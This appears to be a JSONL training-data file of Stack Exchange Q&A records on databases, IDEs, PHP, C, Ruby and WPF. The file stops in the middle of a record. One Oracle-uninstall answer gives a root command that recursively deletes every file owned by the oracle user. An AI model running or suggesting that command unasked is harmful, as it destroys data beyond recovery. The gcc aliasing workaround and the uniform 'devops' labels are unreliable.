{"id": "hf_cf7e1589ba86", "question": "<p>All I know about the constraint is it's name (<code>SYS_C003415</code>), but I want to see it's definition.</p>\n", "question_body": "", "answer": "Looks like I should be querying\n```\nALL_CONSTRAINTS\n```\n.\n```\n```\nselect OWNER, CONSTRAINT_NAME, CONSTRAINT_TYPE, TABLE_NAME, SEARCH_CONDITION from ALL_CONSTRAINTS where CONSTRAINT_NAME = 'SYS_C003415';\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.250836"}
{"id": "hf_e51c6430596d", "question": "<p>Where is the option in Visual Studio to make the Home key go to the start of the line?</p>\n\n<p>Right now you have to do</p>\n\n<p><kbd>Home</kbd>,<kbd>Home</kbd></p>\n\n<p>or</p>\n\n<p><kbd>Home</kbd>, <kbd>Ctrl</kbd>+<kbd>Left Arrow</kbd></p>\n\n<p>i'd prefer that home goes to the start of the line. i saw it before, but now i cannot find it.</p>\n", "question_body": "", "answer": "In Tools/Customize/Keyboard,  Reassign the \"Home\" key from Edit.LineStart\" to \"Edit.LineFirstColumn\"\nEdit by OP:\nYou must change\nScope\nto\nText Editor\nbefore this will work.\nVisual Studio 2010\nVisual Studio 2010 removed the\n\"scope\"\noption. Instead you want the\n\"Use new shortcut in\"\noption:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.273711"}
{"id": "hf_2e21958117c8", "question": "<p>I have a string coming from a table like \"can no pay{1},as your payment{2}due on {3}\". I want to replace {1} with some value , {2} with some value and {3} with some value .</p>\n\n<p>Is it Possible to replace all 3 in one replace function ? or is there any way I can directly write query and get replaced value ?   I want to replace these strings in Oracle stored procedure the original string is coming from one of my table I am just doing select on that table </p>\n\n<p>and then I want to replace {1},{2},{3} values from that string to the other value that I have from another table </p>\n", "question_body": "", "answer": "Although it is not one call, you can nest the\n```\nreplace()\n```\ncalls:\n```\n```\nSET mycol = replace( replace(mycol, '{1}', 'myoneval'), '{2}', mytwoval)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.309493"}
{"id": "hf_e08e8f236c9f", "question": "<p>I want to find a way to develop database projects quickly in Visual Studio.  Any ideas?</p>\n", "question_body": "", "answer": "I have a method of creating and updating database projects in Visual Studio 2005 that I thought was common knowledge. After asking a few coworkers if they knew how to update their database projects with this method and receiving no's, I thought I would blog about it and pass along some helpful hints and best practices.\nI work a lot with databases and especially stored procedures that are built to be used with business logic/data access .NET framework. I enjoy working with databases and always create database projects to live with my .NET projects. I am psychotic about keeping database projects up to date.  I have been burned too many time in my younger years where I needed to create a stored procedure that was deleted or was out of sync with the application using the database.\nAfter creating your database project in Visual Studio 2005 as shown:\nalt text http://www.cloudsocket.com/images/image-thumb16.png\nCreate 3 new directories in the projects: Tables, Stored Procedures and Functions. I usually only stored these for my projects.\nalt text http://www.cloudsocket.com/images/image-thumb17.png\nI now open the Server Explorer in Visual Studio and create a new connection to my desired database. I am using Northwind as my example. I am not going to walk through the creation of the connection for this example.\nalt text http://www.cloudsocket.com/images/image-thumb18.png\nI will use a stored procedure as my example on how to update the database project. First I expand the \"Stored Procedures\" directory in the Server Explorer for the Northwind database. I select a stored procedure.\nalt text http://www.cloudsocket.com/images/image-thumb19.png\nI drag the stored procedure to the \"Stored Procedures\" directory in the Solution Explorer and drop it.\nalt text http://www.cloudsocket.com/images/image-thumb20.png\nalt text http://www.cloudsocket.com/images/image-thumb21.png\nIf you open the file for the dragged stored procedures you will find that the IDE created the script as followed:\n```\n```\n/****** Object:  StoredProcedure [dbo].[CustOrdersOrders]    Script Date: 08/25/2007 15:22:59 ******/\nIF  EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[CustOrdersOrders]') AND type in (N'P', N'PC'))\nDROP PROCEDURE [dbo].[CustOrdersOrders]\nGO\n/****** Object:  StoredProcedure [dbo].[CustOrdersOrders]    Script Date: 08/25/2007 15:22:59 ******/\nSET ANSI_NULLS ON\nGO\nSET QUOTED_IDENTIFIER ON\nGO\nIF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[CustOrdersOrders]') AND type in (N'P', N'PC'))\nBEGIN\nEXEC dbo.sp_executesql @statement = N'\nCREATE PROCEDURE CustOrdersOrders @CustomerID nchar(5)\nAS\nSELECT OrderID,\n    OrderDate,\n    RequiredDate,\n    ShippedDate\nFROM Orders\nWHERE CustomerID = @CustomerID\nORDER BY OrderID\n'\nEND\nGO\n```\n```\nYou can now drag over all the tables, functions and remaining stored procedures from your database. You can also right click on each script in the Solution Explorer and run the scripts on your database project's referenced database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.332873"}
{"id": "hf_f4d32212ab73", "question": "<p>Below is an example class hierarchy and code. What I'm looking for is a way to determine if 'ChildClass1' or 'ChildClass2' had the static method whoAmI() called on it without re-implementing it in each child class.</p>\n\n<pre><code>&lt;?php\n\nabstract class ParentClass {\n\n    public static function whoAmI () {\n\n        // NOT correct, always gives 'ParentClass'\n        $class = __CLASS__;\n\n        // NOT correct, always gives 'ParentClass'. \n        // Also very round-about and likely slow.\n        $trace = debug_backtrace();\n        $class = $trace[0]['class'];\n\n        return $class;\n    }\n}\n\nclass ChildClass1 extends ParentClass {\n\n}\n\nclass ChildClass2 extends ParentClass {\n\n}\n\n// Shows 'ParentClass'\n// Want to show 'ChildClass1'\nprint ChildClass1::whoAmI(); \nprint \"\\n\";\n\n// Shows 'ParentClass'\n// Want to show 'ChildClass2'\nprint ChildClass2::whoAmI();\nprint \"\\n\";\n</code></pre>\n", "question_body": "", "answer": "I believe what you're referring to is a known php bug. Php 5.3 is aiming to address this issue with a new Late Static Binding feature.\nhttp://www.colder.ch/news/08-24-2007/28/late-static-bindings-expl.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.357313"}
{"id": "hf_6c8863f8af99", "question": "<p>We have several jobs that run concurrently that have to use the same config info for log4j.  They are all dumping the logs into one file using the same appender.  Is there a way to have each job dynamically name its log file so they stay seperate?</p>\n\n<p>Thanks<BR>\nTom</p>\n", "question_body": "", "answer": "You could programmatically configure log4j when you initialize the job.\nYou can also set the log4j.properties file at runtime via a system property. From the\nmanual\n:\nSet the resource string variable to the value of the\nlog4j.configuration\nsystem property. The preferred way to specify the default initialization file is through the log4j.configuration system property. In case the system property log4j.configuration is not defined, then set the string variable resource to its default value \"log4j.properties\".\nAssuming you're running the jobs from different java commands, this will enable them to use different log4j.properties files and different filenames for each one.\nWithout specific knowledge of how your jobs are run it's difficult to say!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.404764"}
{"id": "hf_b232eb6da714", "question": "<pre><code>foreach ($_GET as $field =&gt; $label)\n{\n   $datarray[]=$_GET[$field];\n   echo \"$_GET[$field]\";\n   echo \"&lt;br&gt;\";\n}\nprint_r($datarray);\n</code></pre>\n\n<hr>\n\n<p>This is the output I am getting. I see the data is there in datarray but when\nI <code>echo $_GET[$field]</code> </p>\n\n<p>I only get \"Array\"</p>\n\n<p>But <code>print_r($datarray)</code> prints all the data. Any idea how I pull those values?</p>\n\n<h2>OUTPUT</h2>\n\n<pre><code>Array ( \n        [0] =&gt; Array ( \n                 [0] =&gt; Grade1 \n                 [1] =&gt; ln \n                 [2] =&gt; North America \n                 [3] =&gt; yuiyyu \n                 [4] =&gt; iuy \n                 [5] =&gt; uiyui \n                 [6] =&gt; yui \n                 [7] =&gt; uiy \n                 [8] =&gt; 0:0:5 \n                 ) \n)\n</code></pre>\n", "question_body": "", "answer": "Use\n```\n<pre>\n```\ntags before\n```\nprint_r\n```\n, then you will have a tree printed (or just look at the source. From this point you will have a clear understanding of how your array is and will be able to pull the value you want.\nI suggest further reading on\n```\n$_GET\n```\nvariable and\narrays\n, for a better understanding of its values", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.440280"}
{"id": "hf_b16d87f3b0b9", "question": "<p>Test the following code:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\nmain()\n{\n    const char *yytext=\"0\";\n    const float f=(float)atof(yytext);\n    size_t t = *((size_t*)&amp;f);\n    printf(\"t should be 0 but is %d\\n\", t);\n}\n</code></pre>\n\n<p>Compile it with:</p>\n\n<pre><code>gcc -O3 test.c\n</code></pre>\n\n<p>The GOOD output should be:</p>\n\n<pre><code>\"t should be 0 but is 0\"\n</code></pre>\n\n<p>But with my gcc 4.1.3, I have:</p>\n\n<pre><code>\"t should be 0 but is -1209357172\"\n</code></pre>\n", "question_body": "", "answer": "Use the compiler flag -fno-strict-aliasing.\nWith strict aliasing enabled, as it is by default for at least -O3, in the line:\n```\n```\nsize_t t = *((size_t*)&f);\n```\n```\nthe compiler assumes that the size_t* does NOT point to the same memory area as the float*. As far as I know, this is standards-compliant behaviour (adherence with strict aliasing rules in the ANSI standard start around gcc-4, as Thomas Kammeyer pointed out).\nIf I recall correctly, you can use an intermediate cast to char* to get around this. (compiler assumes char* can alias anything)\nIn other words, try this (can't test it myself right now but I think it will work):\n```\n```\nsize_t t = *((size_t*)(char*)&f);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.462746"}
{"id": "hf_257836e86f81", "question": "<p>Sometimes my Oracle database on Windows gets hosed. How do I do a manual uninstall of Oracle?</p>\n", "question_body": "", "answer": "Assuming a unix type OS and that you properly installed it using an account named oracle...\nfind / -user oracle -exec rm -fr {} \\;\nThat having been said, this must be done as root and you had better not mind loss of any and all files that belong to oracle.  There will be no... NO recovery from this method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.486120"}
{"id": "hf_eb5e2b92e4fb", "question": "<p>example:</p>\n\n<pre><code>a_list = [1, 2, 3]\na_list.len() # doesn't work\nlen(a_list) # works\n</code></pre>\n\n<p>Python being (very) object oriented, I don't understand why the 'len' function isn't inherited by the object. \nPlus I keep trying the wrong solution since it appears as the logical one to me</p>\n", "question_body": "", "answer": "Maybe you're looking for\n```\n__len__\n```\n.  If that method exists, then len(a) calls it:\n```\n```\n>>> class Spam:\n...   def __len__(self): return 3\n... \n>>> s = Spam()\n>>> len(s)\n3\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.531748"}
{"id": "hf_870b1fe170a1", "question": "<p>It's common to want browsers to cache resources - JavaScript, CSS, images, etc. until there is a new version available, and then ensure that the browser fetches and caches the new version instead.</p>\n\n<p>One solution is to embed a version number in the resource's filename, but will placing the resources to be managed in this way in a directory with a revision number in it do the same thing? Is the whole URL to the file used as a key in the browser's cache, or is it just the filename itself and some meta-data?</p>\n\n<p>If my code changes from fetching <code>/r20/example.js</code> to <code>/r21/example.js</code>, can I be sure that revision 20 of <code>example.js</code> was cached, but now revision 21 has been fetched instead and it is now cached?</p>\n", "question_body": "", "answer": "depends. it is supposed to be the full URL, but some browsers (Opera, Safari\n2\n) apply a different cache strategy for urls with different params.\nbest bet is to change the name of the file\n.\nThere is a very clever solution here (uses PHP, Apache)\nhttp://verens.com/archives/2008/04/09/javascript-cache-problem-solved/\nStrategy notes:\n“According the letter of the HTTP caching specification, user agents should never cache URLs with query strings. While Internet Explorer and Firefox ignore this, Opera and Safari don’t - to make sure all user agents can cache your resources, we need to keep query strings out of their URLs.”\nhttp://www.thinkvitamin.com/features/webapps/serving-javascript-fast", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.554471"}
{"id": "hf_3a70d7488ec7", "question": "<p>Do you guys know how I can use the Curl command line to POST SOAP to test a web service?</p>\n\n<p>I have a file (soap.xml) which has all the soap message attached to it I just don't seem to be able to properly post it.</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Posting a string:\n```\n```\ncurl -d \"String to post\" \"http://www.example.com/target\"\n```\n```\nPosting the contents of a file:\n```\n```\ncurl -d @soap.xml \"http://www.example.com/target\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.589866"}
{"id": "hf_0fdcce1ef8a4", "question": "<p>I'd be interested in some before-and-after c# examples, some non-idiomatic vs idiomatic examples. Non-c# examples would be fine as well if they get the idea across. Thanks.</p>\n", "question_body": "", "answer": "Idiomatic code is code that does a common task in the common way for your language.  It's similar to a design pattern, but at a much smaller scale.  Idioms differ widely by language.  One idiom in C# might be to use an iterator to iterate through a collection rather than looping through it.  Other languages without iterators might rely on the loop idiom.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.677717"}
{"id": "hf_ca960c358768", "question": "<p>Here's a challenge that I was tasked with recently. I still haven't figured out the best way to do it, maybe someone else has an idea. </p>\n\n<p>Using PHP and/or HTML, create a page that cycles through any number of other pages at a given interval.</p>\n\n<p>For instance, we would load this page and it would take us to google for 20 seconds, then on to yahoo for 10 seconds, then on to stackoverflow for 180 seconds and so on an so forth. </p>\n", "question_body": "", "answer": "Use a separate iframe for the content, then use Javascript to\n```\ndelay()\n```\na period of time and set the iframe's\n```\nlocation\n```\nproperty.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.763171"}
{"id": "hf_305df6ea50fe", "question": "<p>I'm running in a windows environment with Trac / SVN and I want commits to the repository to integrate to Trac and close the bugs that were noted in the SVN Comment.</p>\n\n<p>I know there's some post commit hooks to do that, but there's not much information about how to do it on windows.</p>\n\n<p>Anyone done it successfully?  And what were the steps you followed to achive it?</p>\n\n<p>Here's the hook I need to put in place in SVN, but I'm not exactly sure how to do this in the Windows environment.</p>\n\n<p><a href=\"http://trac.edgewall.org/browser/trunk/contrib/trac-post-commit-hook?rev=920\" rel=\"nofollow noreferrer\">Trac Post Commit Hook</a></p>\n", "question_body": "", "answer": "Post commit hooks live in the \"hooks\" directory where ever you have the repository living on the server side.  I don't know where you have them in your environment, so this is just an example\ne.g. (windows):\n```\n```\nC:\\Subversion\\repositories\\repo1\\hooks\\post-commit\n```\n```\ne.g. (llinux/unix):\n```\n```\n/usr/local/subversion/repositories/repo1/hooks/post-commit\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.821121"}
{"id": "hf_f8a9c3132718", "question": "<p>I would like to be able to loop through all of the defined parameters on my reports and build a display string of the parameter name and value.  I'd then display the results on the report so the user knows which parameters were used for that specific execution.  The only problem is that I cannot loop through the Parameters collection.  There doesn't seem to be an indexer on the Parameters collection, nor does it seem to implement IEnumerable.  Has anyone been able to accomplish this?  I'm using SSRS 2005 and it must be implemented within the Report Code (i.e., no external assembly).  Thanks!</p>\n", "question_body": "", "answer": "Unfortunately, it looks like there's no simple way to do this.\nSee\nhttp://www.jameskovacs.com/blog/DiggingDeepIntoReportingServices.aspx\nfor more info. If you look at the\ncomments of that post\n, there are some ways to get around this, but they're not very elegant. The simplest solution will require you to have a list of the report parameters somewhere in your Report Code, which obviously violates the\nDRY\nprinciple, but if you want the simplest solution, you might just have to live with that.\nYou might want to rethink your constraint of no external assembly, as it looks to me that it would be much easier to do this with an external assembly. Or if your report isn't going to change much, you can create the list of parameter names and values manually.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.856778"}
{"id": "hf_6318292c14dc", "question": "<p>In a C# windows forms application. I have a splash screen with some multi-threaded processes happening in the background. What I would like to do is when I display the splash screen initially, I would like to have it appear to \"fade in\". And then, once all the processes finish, I would like it to appear as though the splash screen is \"fading out\". I'm using C# and .NET 2.0. Thanks.</p>\n", "question_body": "", "answer": "You can use the Opacity property for the form to alter the fade (between 0.0 and 1.0).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.892477"}
{"id": "hf_44def378e07e", "question": "<p>How do I use <code>RelativeSource</code> with WPF bindings and what are the different use-cases?</p>\n", "question_body": "", "answer": "Don't forget TemplatedParent:\n```\n```\n<Binding RelativeSource=\"{RelativeSource TemplatedParent}\"/>\n```\n```\nor\n```\n```\n{Binding RelativeSource={RelativeSource TemplatedParent}}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:52.980600"}
{"id": "hf_cb6dd8479c35", "question": "<p>How do I get a a complete list of all the urls that my rails application could generate? </p>\n\n<p>I don't want the routes that I get get form rake routes, instead I want to get the actul URLs corrosponding to all the dynmically generated pages in my application...</p>\n\n<p>Is this even possible?</p>\n\n<p>(Background: I'm doing this because I want a complete list of URLs for some load testing I want to do, which has to cover the entire breadth of the application)</p>\n", "question_body": "", "answer": "You could pretty quickly hack together a program that grabs the output of\n```\nrake routes\n```\nand then parses the output to put together a list of the URLs.\nWhat I have, typically, done for load testing is to use a tool like\nWebLOAD\nand script several different types of user sessions (or different routes users can take).  Then I create a mix of user sessions and run them through the website to get something close to an accurate picture of how the site might run.\nTypically I will also do this on a total of 4 different machines running about 80 concurrent user sessions to realistically simulate what will be happening through the application.  This also makes sure I don't spend overly much time optimizing infrequently visited pages and can, instead, concentrate on overall application performance along the critical paths.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.039278"}
{"id": "hf_96d6eb396457", "question": "<p>I'm connecting to an AS/400 stored procedure layer using the IBM iSeries Access for Windows package. This provides a .NET DLL with classes similar to those in the <code>System.Data</code> namespace. As such we use their implementation of the connection class and provide it with a connection string.</p>\n\n<p>Does anyone know how I can amend the connection string to indicate the default library it should use?</p>\n", "question_body": "", "answer": "Are you using the Catalog Library List parameter for OLE DB? This is what my connection string typically looks like:\n```\n```\n<add name=\"AS400ConnectionString\" connectionString=\"Data Source=DEVL820;Initial Catalog=Q1A_DATABASE_SRVR;Persist Security Info=False;User ID=BLAH;Password=BLAHBLAH;Provider=IBMDASQL.DataSource.1;**Catalog Library List=&quot;HTSUTST, HTEUSRJ, HTEDTA&quot;**\" providerName=\"System.Data.OleDb\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.075178"}
{"id": "hf_396ab168e392", "question": "<p>I have a core file generated on a remote system that I don't have direct access to.  I also have local copies of the library files from the remote system, and the executable file for the crashing program.</p>\n\n<p>I'd like to analyse this core dump in gdb.</p>\n\n<p>For example:</p>\n\n<pre><code>gdb path/to/executable path/to/corefile\n</code></pre>\n\n<p>My libraries are in the current directory.</p>\n\n<p>In the past I've seen debuggers implement this by supplying the option \"-p .\" or \"-p /=.\"; so my question is:</p>\n\n<p>How can I specify that libraries be loaded first from paths relative to my current directory when analysing a corefile in gdb?</p>\n", "question_body": "", "answer": "Start gdb without specifying the executable or core file, then type the following commands:\n```\n```\nset solib-absolute-prefix ./usr\nfile path/to/executable\ncore-file path/to/corefile\n```\n```\nYou will need to make sure to mirror your library path exactly from the target system.  The above is meant for debugging targets that don't match your host, that is why it's important to replicate your root filesystem structure containing your libraries.\nIf you are remote debugging a server that is the same architecture and Linux/glibc version as your host, then you can do as\nfd\nsuggested:\n```\n```\nset solib-search-path <path>\n```\n```\nIf you are trying to override some of the libraries, but not all then you can copy the target library directory structure into a temporary place and use the\n```\nsolib-absolute-prefix\n```\nsolution described above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.181441"}
{"id": "hf_9ffda4a1433d", "question": "<p>Visual Studio 2003 and 2005 (and perhaps 2008 for all I know) require the command line user to run in the 'Visual Studio Command Prompt'.  When starting this command prompt it sets various environment variables that the C++ compiler, cl, uses when compiling.</p>\n\n<p>This is not always desirable.  If, for example, I want to run 'cl' from within Ant, I'd like to avoid having to run Ant from within the 'Visual Studio Command Prompt'.  Running vcvars32.bat isn't an option as the environment set by vcvars32.bat would be lost by the time cl was run (if running from within Ant).</p>\n\n<p>Is there an easy way to run cl without having to run from within the Visual Studio command prompt?</p>\n", "question_body": "", "answer": "You can simply run the batch file which sets the variables yourself. In VS08 it's located at:-\n```\n```\nC:\\Program Files\\Microsoft Visual Studio 9.0\\VC\\vcvarsall.bat\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.228592"}
{"id": "hf_39221f60279d", "question": "<p>Is there a built in way to convert an integer in Ruby into its hexadecimal equivalent?</p>\n\n<p>Something like the opposite of <a href=\"http://ruby-doc.org/core-2.0.0/String.html#method-i-to_i\" rel=\"noreferrer\"><code>String#to_i</code></a>:</p>\n\n<pre><code>\"0A\".to_i(16) #=&gt;10\n</code></pre>\n\n<p>Like perhaps:</p>\n\n<pre><code>\"0A\".hex #=&gt;10\n</code></pre>\n\n<p>I know how to roll my own, but it's probably more efficient to use a built in Ruby function.</p>\n", "question_body": "", "answer": "How about using\n```\n%\n```\n/\n```\nsprintf\n```\n:\n```\n```\ni = 20\n\"%x\" % i  #=> \"14\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.251533"}
{"id": "hf_b1339b1f1c6e", "question": "<p>in XSLT processing, is there a performance difference between apply-template and call-template? In my stylesheets there are many instances where I can use either, which is the best choice?</p>\n", "question_body": "", "answer": "apply-template and call-template do not perform the same task, performance comparison is not really relevant here.\ncall-template takes a template name as a parameter whereas apply-template takes an xpath expression. Apply-template is therefore much more powerful since you do not really know which template will be executed.\nYou will get performance issues if you use complex xpath expressions. Avoid \"//\" in your xpath expressions since every node of your input document will be evaluated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.275153"}
{"id": "hf_2b39185cd31b", "question": "<p>For example I want to be able to programatically hit a line of code like the following where the function name is dynamically assigned without using Evaluate(). The code below of course doesn't work but represents what I would like to do.</p>\n\n<pre><code>application.obj[funcName](argumentCollection=params)\n</code></pre>\n\n<p>The only way I can find to call a function dynamically is by using cfinvoke, but as far as I can tell that instantiates the related cfc/function on the fly and can't use a previously instantiated cfc.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "According to the docs, you can do something like this:\n```\n```\n<!--- Create the component instance. --->\n<cfobject component=\"tellTime2\" name=\"tellTimeObj\">\n<!--- Invoke the methods. --->\n<cfinvoke component=\"#tellTimeObj#\" method=\"getLocalTime\" returnvariable=\"localTime\">\n<cfinvoke component=\"#tellTimeObj#\" method=\"getUTCTime\" returnvariable=\"UTCTime\">\n```\n```\nYou should be able to simply call it with method=\"#myMethod#\" to dynamically call a particular function.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.344526"}
{"id": "hf_ff3cd4304dd5", "question": "<p>Is there some built-in way to share files between Xen guests?  I don't currently need to share the actual images, just some data files.</p>\n", "question_body": "", "answer": "Do you mean between Xen and the host or between different guests?\nIf guests, I don't think there is something provided but you should probably use NFS as it is the best supported file system that supports a decent number of permissions and attributes but assumes a trusted network.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.378983"}
{"id": "hf_a3ea516d5fc4", "question": "<p>Personally I like this one:</p>\n\n<p><img src=\"https://i.stack.imgur.com/ZNtvc.jpg\" alt=\"\"></p>\n\n<p>P.S. Do not hotlink the cartoon without the site's permission please. </p>\n", "question_body": "", "answer": "I like this one:\nhttp://xkcd.com/149/\n(Proper User Policy apparently means Simon Says.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.415011"}
{"id": "hf_556b764fc1ba", "question": "<p>I would like to be able to predict what will be in the resulting binary when I call Write in Ada to serialize a record. Do you know where I can look this up?</p>\n\n<p>I have some legacy Ada software that produces a binary file by Write-ing a record, and I need to debug a C++ program that is supposed to write a compatible binary file. So, I would like to understand what rules Ada follows when it serializes a record, so that I can make sure that the C++ code will produce a functionally equivalent record.</p>\n", "question_body": "", "answer": "The\nAda95 Language Reference Manual\nsays (section 13.13.2):\n\"For elementary types, the representation in terms of stream elements is implementation defined. For composite types, the Write or Read attribute for each component is called in a canonical order. The canonical order of components is last dimension varying fastest for an array, and positional aggregate order for a record.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:53.523539"}
{"id": "hf_a9bb7eb6b224", "question": "<p>I use the jQuery <a href=\"http://docs.jquery.com/Utilities/jQuery.extend\" rel=\"nofollow noreferrer\">extend</a> function to extend a class prototype.</p>\n\n<p>For example:</p>\n\n<pre><code>MyWidget = function(name_var) {\n  this.init(name_var);\n}\n\n$.extend(MyWidget.prototype, {\n   // object variables\n   widget_name: '',\n\n   init: function(widget_name) {\n     // do initialization here\n     this.widget_name = widget_name;\n   },\n\n   doSomething: function() {\n     // an example object method\n     alert('my name is '+this.widget_name);\n   }\n});\n\n\n// example of using the class built above\nvar widget1 = new MyWidget('widget one');\nwidget1.doSomething();\n</code></pre>\n\n<p>Is there a better way to do this?  Is there a cleaner way to create the class above with only one statement instead of two?</p>\n", "question_body": "", "answer": "I quite like John Resig's\nSimple JavaScript Inheritance\n.\n```\n```\nvar MyWidget = Class.extend({\n  init: function(widget_name){\n    this.widget_name = widget_name;\n  },\n\n  doSomething: function() {\n    alert('my name is ' + this.widget_name);\n  